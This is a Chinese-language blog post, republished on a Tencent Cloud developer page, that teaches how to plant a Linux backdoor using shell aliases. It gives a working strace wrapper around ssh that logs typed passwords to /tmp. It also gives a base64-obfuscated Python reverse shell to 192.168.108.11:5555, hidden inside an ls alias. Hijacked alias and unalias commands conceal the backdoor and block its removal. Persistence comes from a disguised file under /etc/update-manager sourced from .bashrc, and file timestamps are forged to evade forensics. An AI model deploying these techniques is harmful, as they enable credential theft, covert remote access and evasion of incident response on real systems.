前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >alias后门 | Linux 后门系列

alias后门 | Linux 后门系列

作者头像
意大利的猫
发布2020-08-20 14:54:27
7.4K5
发布2020-08-20 14:54:27
举报
文章被收录于专栏:漫流砂漫流砂

0x01 alias 简介

alias 命令的功能是为命令设置别名,比如我想让我每次输入 ls 的时候都实现 ls -al 那怎么实现呢?

alias ls = 'ls -al'

对于通过ssh远程登录的用户来说,每次设置只在本次连接过程中有效,下次再进行登录的时候就不会这样了

0x02 alias 使用方法

系统中存在一些默认的别名,直接输入 alias 或者 alias -p 可以进行显示

Ubuntu Server 16.04 结果如下:

这里有我们熟悉的 ll 命令,这个命令的真实含义其实是 ls -alF

可以看到我们可以直接执行 ll 来短缩我们的命令长度

如果我们只想实现查看一个别名的含义,可以直接使用 alias cmd ,我们以ll命令为例

设置一个别名 alias getpwd = 'cat /etc/passwd'

删除一个别名 unalias getpwd

此时我产生了一个疑问,系统默认的这些个别名是在哪里设置的呢?alias 是不是有一个统一的配置文件呢?

抱着这样的疑问,我想看一看alias 相关的文件夹以及文件

  • which alias

可以看到,似乎alias并不是一个在环境变量中的可执行文件

  • dpkg -L alias

也不是通过 dpkg 安装的,那么只能上大招了

可有发现有两个名字为 alias 的文件

这个文件似乎不是alias 的配置文件,看下一个

这个也不是,百度google了一番也没有找到有文件说存在alias 的配置文件

那么问题来了,默认的这些个别名设置是怎么来的呢?

猜也知道对吧,肯定在系统启动默认加载的配置文件里,比如 /etc/profile/etc/bashrc~/.bashrc~/.bash_profile~/.profile~/.bash_logout

  • /etc/profile 【系统级】Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 /etc/profile
  • /etc/bashrc 【系统级】在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell
  • ~/.bashrc 【用户级】当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次,效率肯定受影响
  • ~/.bash_profile && ~./bash_login 【用户级】
    • 如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile
    • 如果两个文件都存在的话,Bash 将会优先执行~/.bash_profile 而不是~/.bash_login
  • ~/.bash_logout 【用户级】当每次退出系统(退出bash shell)时执行该文件

参考 https://www.cnblogs.com/lovychen/p/10911699.html

查看 ~/.bashrc 配置文件

  • cat ~/.bashrc

逮到了!

那root用户会不会存在 .bashrc 文件呢?

  • sudo cat /root/.bashrc | grep alias

也是存在的,所以这些都是"藏污纳垢"的好地方

0x03 alias 后门分析&制作

当前用户目录下.bashrc

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

上面是我搜索了10多篇文章,发现的同一条后门命令,既然有前辈写了,咱们就分析分析

上面后门中,其实 alias 只是做了一个小技巧,而不是主要的后门命令,含义也就是将当前用户的ssh命令修改为

  • strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh

这里主要涉及到 strace 这个命令,以及一些它的参数,

strace 是什么命令?

我了解了一下,发现 strace 是一个巨牛的工具,堪称神奇,简单来说它是一个调试工具,实际来说,他能把你这个程序在干啥整得明明白白

strace能做什么?

  • 它可以基于特定的系统调用或系统调用组进行过滤
  • 它可以通过统计特定系统调用的使用次数,所花费的时间,以及成功和错误的数量来分析系统调用的使用。
  • 它跟踪发送到进程的信号。
  • 可以通过pid附加到任何正在运行的进程。
  • 调试性能问题,查看系统调用的频率,找出耗时的程序段
  • 查看程序读取的是哪些文件从而定位比如配置文件加载错误问题
  • 查看某个php脚本长时间运行“假死”情况
  • 当程序出现“Out of memory”时被系统发出的SIGKILL信息所kill 另外因为strace拿到的是系统调用相关信息,一般也即是IO操作信息,这个对于排查比如cpu占用100%问题是无能为力的。这个时候就可以使用GDB工具了。

参考:https://www.jianshu.com/p/33521124bdf2

等我研究到系统内核,进程间通信等等再把这个工具详细写一写,当然了,也可能想不开哪天就写了

接下来我们分解一下上面的命令

  • strace -o /tmp/sshpwd-xxx.log 其中xxx为 `date '+%d%h%m%s'`

把strace的输出单独写到指定的文件 /tmp/sshpwd-xxx.log ,这个没啥好说的

  • -e read,write,connect Linux内核目前有300多个系统调用,详细的列表可以通过syscalls手册页查看。这些系统调用主要分为几类: 文件和设备访问类 比如open/close/read/write/chmod等 进程管理类 fork/clone/execve/exit/getpid等 信号类 signal/sigaction/kill 等 内存管理 brk/mmap/mlock等 进程间通信IPC shmget/semget * 信号量,共享内存,消息队列等 网络通信 socket/connect/sendto/sendmsg 等 其他 这里的含义就是监听read,write,connect 函数,说白了,把读写远程连接都给监听了,当然大家可以监听更多
  • -s2048 ssh -s2048 我查询了一下,并没有发现有这个参数,我很好奇,这到底是什么参数... 后来我明白了,这个应该是 -s 2048 中间的空格因为第一个写文章的人给写错了,导致大家都整错了,实际上并不是这么回事 -s 2048 是设置打印字符串的长度,默认是32

所以整个命令应该修改为

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'

在 Ubuntu Server 16.04 中进行测试

现在我们在这台服务器上远程连接其他服务器

可以看到,我们尝试用root/123456 登录192.168.1.46 ,之后服务器的tmp目录中生成了 sshpwd-xxxx文件,我们看一下其中的内容

可以看到我们之前提交的数据,同时呢,这个文件返回的内容也比较多,只要改一个好点的名字可能会让安全管理人员认为是正常的文件

这种后门的场景就是用户登录到这台主机上后,使用这台主机的ssh去远程连接其他主机才能引发后门,记录明文密码,这局限性太大了,顶多可以作为一个后门辅助。


alias 可以设置别名,那么有几个疑问

  • 如果一个可执行文件放在环境变量path下,同时设置一个与这个文件名相同的别名,看看哪一个会执行
  • 可以看到,设置别名后,我们执行test94 的时候会执行 cat /etc/issue ,这个时候我们就可以知道了,我们可以通过别名的方式劫持默认的命令,比如ls,而且不需要替换原文件。
  • 可以直接执行,现在我们来设置一个别名,将 test94 设置为 "cat /etc/issue"
  • 我们向 /usr/bin/ 下写入一个 test94 文件,文件内容为echo "test94" ,并且给予执行权限
  • alias 设置别名的时候可以使用绝对路径吗?

可以看到,绝对路径是支持的,那这样的话我们尝试劫持一下 ls 命令

-

  • 劫持成功
  • 此时 ls 还是原来正常的ls ,此时我们设置别名 alias ls="/usr/local/games/ls"
  • 可以看到,现在状态 ls 命令已经被替换为了 echo "test94" ,这里我们还没有设置别名,因为 /usr/bin/ 比 /bin/ 目录的优先级高,所以被替换了,这不好,我们将自定义的ls换一个目录 /usr/local/games
  • 执行ls
  • 创建 /usr/bin/ls 内容为 echo "test94",并且赋予执行权限
  • 查看 ls 绝对路径
  • alias 在设置 ls="xxxx" 后,后续设置的别名引用ls,是引用的别名还是可执行文件

可以看到,此时的 ls 是带有颜色的,而且别名 ls 的值为 ls --color=auto

此时可以看到,执行可执行文件就没有颜色了

可以看到,此时执行 lstest 显示的文件名称是有颜色的

  • 得出结论: 设置别名和设置变量很相似,是可以进行传递的
  • 设置 alias lstest="ls"
  • 执行可执行文件 /bin/ls
  • 查看当前的ls别名以及执行

  • alias 想要使用参数怎么整 alias ls='ls --color=auto;pwd' 这么写默认参数会传递给pwd,那pwd哪管你啥参数

所以这样的话一下就会被管理员发现,怎么整呢,把我们的参数传递给ls不就行了吗?

这也不行呀,查资料才知道,alias 不支持参数,函数才支持参数

  • alias ls='func(){ ls $1 --color=auto;pwd;};func'
  • alias ls='ls $1 --color=auto;pwd'

用了好几天时间吭哧瘪肚想出来的一个后门

就使用 alias + python3 劫持 ls

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDguMTEiLCA1NTU1KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

实现的效果是:

  • 劫持了 ls 命令,输入 ls 后可以执行我们的反弹 shell 的命令
  • ls 命令执行完全正常,用户无感知
  • 劫持了 unalias 命令,使用户无法直接通过 unalias 来解除我们的 ls 别名
  • 劫持了 alias 命令,使用户查看别名列表的时候发现 ls 一直是 ls='ls --color=auto'
  • 在用户退出ssh的时候才会反弹shell(这个我表示不理解,好像情况也不是很统一,可能跟我给了服务器单核有关系)

其实里面还涉及了一些知识点,比如:算了,你们自己去尝试把命令解密开,自己看吧,没啥难的

0x04 后门隐藏

整的似乎挺好,但是怎么隐藏起来,并且能够让所有登录的人直接就中招呢???

肯定是离不开开机自启的程序或者配置文件了

上面我们提到了几个对吧,比如: /etc/profile/etc/bashrc~/.bashrc~/.bash_profile~/.profile~/.bash_logout

但是我觉得都不好,因为这些大家都知道了,应急响应恨不得上来就检查这些内容呢

我选择 ~/.bash_aliases ,这个文件呢,默认不会有,但是在 ~/.bashrc 中默认加载

可以看到,我在 helper 的目录中新建了一个 .bash_aliases 的文件,在文件中写入 alias ls='ls -al'

重新登录后,执行 ls 的时候已经是执行 ls -al

此时,我们使用 root 权限进行 ls 的时候,执行的就是 ls ,因为在 root 的家目录下没有 .bash_aliases 文件

我们看一下 ~/.bashrc 文件中是如何载入 .bash_aliases

可以看到,现在 Ubuntu 16.04 中已经是默认加载这个文件了


我知道你在想什么,哈哈哈哈哈,我也寻思呢,我给换一个更加有迷惑性的目录和文件名,之后设置加载,岂不美哉?

经过我的一番寻找,加上自己所剩无几的经验,终于找到了一个目录 /etc/update-manager/ ,这个目录我跟你说,我一眼就相中了,这简直就是为后门设计的呀

这个目录里的 release-update 就是我新建的配置文件,看不出来吧,是不是很和谐,我都羡慕我自己了,我在这说啥呢,我的天

那好,我们把配置插进 ~/.bashrc

你看,我还像模像样的写了两行注释,伪装一下 ,记得把之前的 ~/.bash_aliases 删除掉

此时,我们推出 ssh 连接,之后再次连接,我们测试一下:

可以看到,我们的别名已经执行了, ls='ls -al'


现在我们要让这个后门更加完善

  • /etc/update-manager/release-update 中写入我们的 alias 后门
  • 修改我们的文件的MAC时间,模拟成这个目录的正常文件模拟得更真实一些

现在可以看到,MAC时间一看就能看出来是新建的文件,用 stat 来查看更加清晰

修改后门文件的时间与同目录名称相似的文件的 MAC 时间相同 touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update

可以看到,除了change 时间,其他的都一样了 change time 表示最后一次对文件属性改变的时间,包括权限,大小,属性等等。我没有找到能够任意修改文件的change time 的方法,所以上面的就是能做的最大了

  • 完成了,走一下试试

完美!!!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 alias 简介
  • 0x02 alias 使用方法
  • 0x03 alias 后门分析&制作
  • 0x04 后门隐藏
相关产品与服务
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档